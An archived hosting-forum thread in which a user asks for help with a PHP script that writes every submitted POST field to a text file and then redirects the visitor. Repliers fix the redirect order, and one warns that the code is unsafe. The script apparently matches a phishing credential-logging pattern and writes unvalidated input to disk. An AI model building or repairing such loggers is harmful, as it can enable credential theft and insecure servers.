Web Hosting Talk







View Full Version : Need help with a site I want to build [PHP]


matt3030
02-26-2010, 02:31 AM
Currently trying to keep track of which members come on my site and codes arent working if someone would help it would be much appreciated this is what im using:


<?php
header ('Location: enter site here');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

joza
03-16-2010, 04:08 PM
err obviously you are redirecting before you are executing the code... move the header code to the end of the file

Deroba
03-16-2010, 06:55 PM
As he said, you are redirecting the users before the logger actions happen.

Try:

<?php
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
header ('Location: enter site here');
?>

mattle
03-17-2010, 08:29 AM
I can't believe no one picked up on this. This code is extremely unsafe. Aside from the fact that you're not incorporating any kind of file locking, you're allowing someone to write anything they want to a file on your server! I don't know why you're writing all of your POST vars into a file, but I'd be damn sure to sanitize/validate everyone of them and then make sure that I'm only writing the field names that I'm expecting.